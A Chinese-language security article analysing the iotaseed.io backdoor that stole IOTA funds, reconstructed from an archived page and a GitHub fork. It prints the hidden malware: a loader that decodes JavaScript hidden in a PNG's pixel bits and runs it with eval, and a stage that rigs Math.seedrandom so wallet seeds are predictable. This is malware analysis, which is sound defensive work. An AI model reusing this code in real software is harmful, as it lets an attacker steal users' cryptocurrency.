當前位置:
首頁 > 新聞 > 區塊鏈時代的黑產致富經

區塊鏈時代的黑產致富經

不知道說啥的前言

1982年,有著當代焦裕祿稱號的徐啟斌先生在四川眉山縣吼出的「要想富,先修路」這一口號,深深映入我們腦海。落後的交通阻礙了當地資源優勢轉化成經濟優勢的進程,落後的交通限制了當地經濟的發展。交通給物流,文化交流帶來便捷的同時也為當地財政帶來了實實在在的收入,這個入口就是收費站。

玩過信用卡的朋友的應該都知道,在信用卡社區中將那些大把大把薅羊毛的人稱之為大擼逼,這些人每月真實消費幾十萬?天天都會所嫩模?那麼這些大擼逼又是怎樣去薅銀行的羊毛的呢?銀行的活動大多都是以持卡人消費額度為基礎進行設計的,消費場景無非就是諸如支付寶,微信支付,銀聯在線等線上消費,以及線下使用POS機的商戶。

商戶使用從收單機構領取的POS機給客戶刷卡消費,然後商戶列印小票,之後拿著小票讓收單機構進行結算,收單機構根據與商家簽訂的合同收取一定的費用。這裡我們不妨將消費流看作是一條高速公路,那麼就不難理解將POS機背後的收單機構看作是收費站的說法了。

騙了400多字的稿費之後,正式引入本文的話題。

Ars Technica近期的一篇關於區塊鏈貨幣盜竊案報道就講述了iotaseed.io(目前已經關站),是如何通過生成惡意Seed地址從用戶錢包盜取價值400萬美元的IOTA幣。該文章沒有對相關代碼進行分析,只是讓我們知道有這麼一個騷操作。

尋找代碼

由於iotaseed.io已經停止運營,但幸運的是我們找到了該站點的歷史頁面

在頁尾我們發現該站點有鏈接到一個github倉庫,不服就自己去看代碼,並強調使用該站點提供的服務,而不是讓用戶直接從github下載代碼自建。其給出的理由也挺充分,「倉庫里包含有還沒完全測試的新代碼」。

難道是在實際站點中加入了倉庫中沒有的腳本文件嗎?如果假設成立,也就可以解釋被盜用戶提到的是iotaseed.io,而不是github倉庫了。

然而該站點提供的倉庫地址已經刪除了,創建該倉庫的所有者norbertvdberg同時也註銷了。嘗試通過archive.org提供的歷史頁面archived the homepage of the GitHub repository閱讀代碼或是下載代碼都提示沒有該頁面存檔。該代碼倉庫有8個人fork,從GitHub用戶手冊中我們得知,就算是該項目被刪除,之前fork的分支是會被保留下來的!我們還有希望見到樣本

根據原倉庫歷史頁面上顯示的一個commit信息,我在github進行搜索

eggdroid/eggseed3似乎就fork了原倉庫代碼,與原倉庫作者norbertvdberg提交的commits數26相符。

至此,集齊兩份樣本可以召喚神龍了

分析代碼

$ diff all-wallet-website.js all-wallet-github.js

1313c1313

---

> t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(//$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(//$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)

1713c1713

---

> this.provider = e || "http://localhost:14265", this.token = t

1718c1718

---

> this.provider = e || "http://localhost:14265"

6435c6435

---

> website: "https://iota.org"

6440c6440

---

> url: "https://github.com/iotaledger/iota.lib.js/issues"

6444c6444

---

> url: "https://github.com/iotaledger/iota.lib.js.git"

在這之後我又看了看index.html頁面,發現頁面還載入了一個Javascript文件,一個通知庫。下載之後將時光機版本與github版本進行diff比較,果然讓我們發現了端倪。

$ diff notifier-website.js notifier-github.js

68,71d67

82,87d77

119,121d108

為了隱藏代碼作者的良苦用心,你們誰能理解?Notifier.notify方法已經變成檢測image參數是否包含",T",將部分代碼解析成Javascript並進行判斷。另一個修改則是當頁面載入時,增加調用Notifier.init()方法,調用包含image參數的notify方法以觸發該代碼執行。

執行atob(image.split(",")[2]),將引出以下代碼片段:

function cDis(f) {

var o = document.createElement("canvas").getContext("2d");

var i = new Image;

i.onload = function() {

o.drawImage(i, 0, 0);

dS(o.getImageData(0, 0, 298, 100).data)

};

i.src = f

}

function dS(d) {

var l = 21,

bM = "",

tM = "";

for (var i = 0; i

var b = (d[i * 4 + 2] >>> 0).toString(2);

bM += b[b.length - 1];

if (bM.length == 16) {

l = parseInt(bM, 2) + 16;

bM = ""

} else if (bM.length == 8 && l != 21) {

tM += String.fromCharCode(parseInt(bM, 2));

bM = ""

}

}

eval(tM)

}

cDis("./images/logo_small_bottom.png");

惡意代碼第二階段將./images/logo_small_bottom.png放入我們看不見的

if (/ps:.*.io/.test(document.location)) {

mode = "M";

(function(message) {

var name = "edr";

name += "an";

message["cont"] = 0;

name += "dom";

function show(arg, options, image) {

message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);

message["cont"] += 1

}

message["e2" + name] = message["se" + name];

message["se" + name] = show

})(eval(mode + "ath"))

}

這是JavaScript後門的最後一個階段,我們簡化下:

Math.cont = 0;

function show(arg, options, image) {

Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);

Math.cont += 1;

}

Math.e2edrandom = Math.seedrandom;

Math.seedrandom = show;

該代碼修改了用於生成代碼的Math.seedrandom函數,其使用固定數4782588875512803642加上一個計數變數seedrandom,這就導致Math.random()每次返回的數據是相同的,一系列的數字都是可預測的,最終生成的IOTASeed地址都是一樣的。這也就說明了為什麼你每次打開archive of iotaseed.io生成的Seed地址都是相同的:

XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD

就算你換台電腦也是一樣的結果。

還有一件事情需要注意,每個用戶獲取到的RNG("4782588875512803642"是我們從歷史樣本中獲取的)不是相同的,通過比對October 31st以及November 19th,發現每過一段時間該數字也會改變。這也就是說./images/logo_small_bottom.png是由iotaseed.io服務端動態生成的。創建該PNG文件後,用於修改隨機函數的數字也會改變(或者是存儲在其他地方,反正得利用攻擊者盜取IOTA),看起來網站確實是為不同的用戶生成了不同Seed地址。通過這個demo 展示了該代碼是如何變化的。

根據IOTA官方Javascript庫,我們知道前面提到的Seed地址(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)對應的錢包地址應該是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX。從iotabalance.com網站得知這是個空錢包,然而從同類網站查詢該錢包地址卻返回404錯誤,比如這個例子

結論

回顧後門放置的手法,你非要說這是無心之失,那我也沒辦法。現在我們不清楚的只是這些代碼是由norbertvdberg,還是其他攻擊者所為。但是從所有者事後刪除github,reddit,quora帳號來看,怕是脫不了干係吧。

後門隱藏得確實挺不錯,僅僅只是通過瀏覽器的開發者工具瞥一眼很難發現其中端倪。

所以還是說,想致富先修路嘛!

參考來源github,對原文有部分修改...


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

域信任機制的攻擊技術指南Part.2
如何通過鑰匙串和生物識別技術來保護iOS的用戶數據

TAG:嘶吼RoarTalk |